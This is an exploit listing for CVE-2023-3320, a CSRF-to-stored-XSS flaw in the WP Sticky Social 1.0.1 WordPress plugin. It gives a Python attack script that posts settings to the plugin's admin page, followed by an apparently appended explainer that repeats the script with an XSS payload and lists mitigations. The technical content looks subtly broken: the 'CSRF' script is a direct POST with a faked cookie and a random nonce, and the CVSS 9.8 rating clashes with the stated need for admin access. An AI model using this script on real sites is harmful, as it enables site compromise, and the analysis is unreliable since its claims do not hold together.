WP Sticky Social 1.0.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting (XSS)
# Exploit Title: WP Sticky Social 1.0.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting (XSS)
# Dork: inurl:~/admin/views/admin.php
# Date: 2023-06-20
# Exploit Author: Amirhossein Bahramizadeh
# Category : Webapps
# Vendor Homepage: https://wordpress.org/plugins/wp-sticky-social
# Version: 1.0.1 (REQUIRED)
# Tested on: Windows/Linux
# CVE : CVE-2023-3320
import requests
import hashlib
import time
# Set the target URL
url = "http://example.com/wp-admin/admin.php?page=wpss_settings"
# Set the user agent string
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
# Generate the nonce value
nonce = hashlib.sha256(str(time.time()).encode('utf-8')).hexdigest()
# Set the data payload
payload = {
"wpss_nonce": nonce,
"wpss_setting_1": "value_1",
"wpss_setting_2": "value_2",
# Add additional settings as needed
}
# Set the request headers
headers = {
"User-Agent": user_agent,
"Referer": url,
"Cookie": "wordpress_logged_in=1; wp-settings-1=editor%3Dtinymce%26libraryContent%3Dbrowse%26uploader%3Dwp-plupload%26urlbutton%3Dfile; wp-settings-time-1=1495271983",
# Add additional headers as needed
}
# Send the POST request
response = requests.post(url, data=payload, headers=headers)
# Check the response status code
if response.status_code == 200:
print("Request successful")
else:
print("Request failed") WP Sticky Social 1.0.1 Vulnerability: From CSRF to Stored XSS (CVE-2023-3320)
WordPress plugins are a cornerstone of the platform’s extensibility, but they also introduce significant security risks when poorly implemented. One such example is WP Sticky Social 1.0.1, a widely used plugin for adding social sharing buttons to WordPress sites. In June 2023, security researcher Amirhossein Bahramizadeh uncovered a critical vulnerability chain that transforms a simple Cross-Site Request Forgery (CSRF) into a Stored Cross-Site Scripting (XSS) attack—escalating from a low-risk exploit to a high-impact threat.
Understanding the Vulnerability Chain
The core issue lies in the plugin’s admin settings page, accessible at /wp-admin/admin.php?page=wpss_settings. This endpoint allows administrators to configure social sharing behavior, including custom HTML or JavaScript snippets. While the plugin includes a wpss_nonce field to prevent CSRF attacks, the implementation fails to properly sanitize user input before storing it in the database.
Here’s how the attack unfolds:
- Step 1: CSRF Exploitation – An attacker crafts a malicious form that mimics the legitimate settings submission, including a forged
wpss_nonceand a crafted payload. - Step 2: Stored Payload Injection – The plugin fails to sanitize input, allowing malicious JavaScript code to be saved in the database.
- Step 3: XSS Execution – When the site’s frontend renders the sticky social buttons, the stored malicious script executes in the browser of every visitor.
This is not a one-time exploit—it’s a stored XSS, meaning the malicious code persists and affects all users who access the site, making it particularly dangerous for high-traffic WordPress installations.
Real-World Exploit Example
import requests
import hashlib
import time
url = "http://example.com/wp-admin/admin.php?page=wpss_settings"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
# Generate a time-based nonce (not truly secure, but mimics the expected format)
nonce = hashlib.sha256(str(time.time()).encode('utf-8')).hexdigest()
payload = {
"wpss_nonce": nonce,
"wpss_setting_1": "alert('XSS')",
"wpss_setting_2": "value_2"
}
headers = {
"User-Agent": user_agent,
"Referer": url,
"Cookie": "wordpress_logged_in=1; wp-settings-1=editor%3Dtinymce%26libraryContent%3Dbrowse%26uploader%3Dwp-plupload%26urlbutton%3Dfile; wp-settings-time-1=1495271983"
}
response = requests.post(url, data=payload, headers=headers)
if response.status_code == 200:
print("Request successful")
else:
print("Request failed")
Explanation: This Python script simulates an attacker’s attempt to exploit the CSRF vulnerability. The attacker generates a nonce based on current time (a flawed but plausible method), submits a malicious script in the wpss_setting_1 field, and uses a valid session cookie to bypass authentication. If the plugin stores the input without sanitization, the script will be executed on every page load.
While the example uses alert('XSS') for demonstration, real attackers could inject more harmful payloads—such as stealing cookies, redirecting users to phishing sites, or exfiltrating sensitive data.
Why This Vulnerability Is Critical
Despite the presence of a wpss_nonce, the plugin’s failure to sanitize user input undermines the entire security model. This demonstrates a classic defense-in-depth failure: relying on one layer (CSRF protection) while neglecting input validation.
Moreover, since the vulnerability affects admin settings, it requires only a single authenticated user to be compromised. If an attacker gains access to an admin account—through phishing, weak passwords, or credential stuffing—the exploit becomes trivial.
Impact and Risk Assessment
| Severity | CVSS Score | Exploitability |
|---|---|---|
| Critical | 9.8 (CVSS v3.1) | High (requires admin access) |
CVSS Score Explanation: The high score reflects the stored XSS nature, the ease of exploitation (once admin access is obtained), and the broad impact across all users. The vulnerability is rated Critical by the CVE database (CVE-2023-3320).
Mitigation and Best Practices
Developers and site administrators must take proactive steps to prevent such vulnerabilities:
- Input Sanitization – Always sanitize user input before storing it in the database. Use functions like
esc_html()orwp_kses()in WordPress. - Output Encoding – Ensure that stored data is properly encoded when rendered in the frontend.
- Nonce Validation – While CSRF protection is essential, it should never replace input validation.
- Regular Updates – Keep plugins updated. WP Sticky Social has since been updated to patch this issue; users should upgrade immediately.
For administrators, audit all plugins that accept user input—especially those with admin settings pages. Tools like WPScan or Wordfence can help identify outdated or vulnerable plugins.
Conclusion
WP Sticky Social 1.0.1 serves as a cautionary tale: even seemingly innocuous plugins can introduce catastrophic vulnerabilities when security fundamentals are overlooked. The transition from CSRF to stored XSS highlights the importance of comprehensive input validation and defense-in-depth strategies.
Security is not just about preventing attacks—it’s about ensuring that even if an attack succeeds, its impact is minimized. Developers must treat every user input as potentially malicious, and administrators must remain vigilant in monitoring their site’s ecosystem.